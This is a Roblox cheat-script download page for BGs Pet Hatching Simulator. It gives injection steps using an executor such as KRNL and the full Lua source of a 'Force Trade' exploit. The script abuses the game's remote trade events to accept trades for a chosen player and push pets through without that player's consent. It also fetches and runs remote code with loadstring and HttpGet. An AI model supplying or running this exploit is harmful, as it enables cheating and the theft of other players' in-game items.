BGs Pet Hatching Simulator Script | 2022 Force Trade

  • Feb 27, 2022



BGs Pet Hatching Simulator Script In this script we offer you, you will be able to trade quickly and easily thanks to the Force Trade feature. Create and buy your own pet and earn money good games. We are uploading daily new updated scripts and codes to our website in order to give you a better gaming phase every day. You just have to enjoy the games you play. I can recommend you to play in “Navy Simulator Hack“, the game script we uploaded before. It is an entertaining game. If you have a problem with scripts, please let us know in the “Report Script” Section, if you wish, our Developer “Join Discord Server” and request support.

bgs pet hatching simulator script
bgs pet hatching simulator script

BGs Pet Hatching Simulator Script Features ?

  • Force Trade

How to run BGs Pet Hatching Simulator Script ?

  1. You need a script to run the cheat. You can get it from this article.
  2. You need an exploit to bring the cheat to the game, I’m removing KRNL. You can use something different. You can download the krnl by clicking here.
  3. Copy the script and open the exploit. Paste the exploit script.
  4. Inject/attach the game
  5. Then execute and check if the script is opened. If the cheat does not open, there is something you did wrong.
  6. Try to enjoy BGs Pet Hatching Simulator Script

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How to use BGs Pet Hatching Simulator Script | 2022 Force Trade?

  1. Press the "Get Script" button to Copy the "BGs Pet Hatching Simulator Script | 2022 Force Trade" .
  2. Lua scripts require a Lua Executor, Open your executor and attach it to the game.
  3. After copying & pasting the script in your executor press the "Execute" button and "BGs Pet Hatching Simulator Script | 2022 Force Trade" will show up in the game.
  4. If you find an old/faulty script, please let us know using the "Report" section.
  5. If you need an exploit, check out our Free Roblox Exploits Category.

BGs Pet Hatching Simulator Script | 2022 Force Trade

local Library = loadstring(game:HttpGet(""))() local Window = Library.CreateLib("Force Trade By Momo the goat again ;)", "BloodTheme") --main tab local main = Window:NewTab("Main") local sec = main:NewSection("Force Trade") for i , k in pairs(game.Players:GetChildren())do sec:NewButton(k.Name, "Person", function() --prompt game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.PromptTradeAccept:FireServer(k.Name) wait(.2) game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.DeclineTrade:FireServer(k.Name,"Accept") wait(.2) --place pets for i , v in pairs(game:GetService("Workspace").Pets.ServerPets:GetDescendants())do if v.Name == "PetName" then wait() game:GetService("ReplicatedStorage").GameClient.Events.RemoteFunction.AddPetToTrade:InvokeServer(k.Name,"Add",{["PetID"] = v.Parent.Name,["PetName"] = v.Value}) end end wait(.2) --accepte game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.AcceptDeclineTrade:FireServer(k.Name,"Accept") wait(.5) game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.AcceptDeclineTrade:FireServer(game.Players.LocalPlayer.Name,"Accept") wait(.5) end) end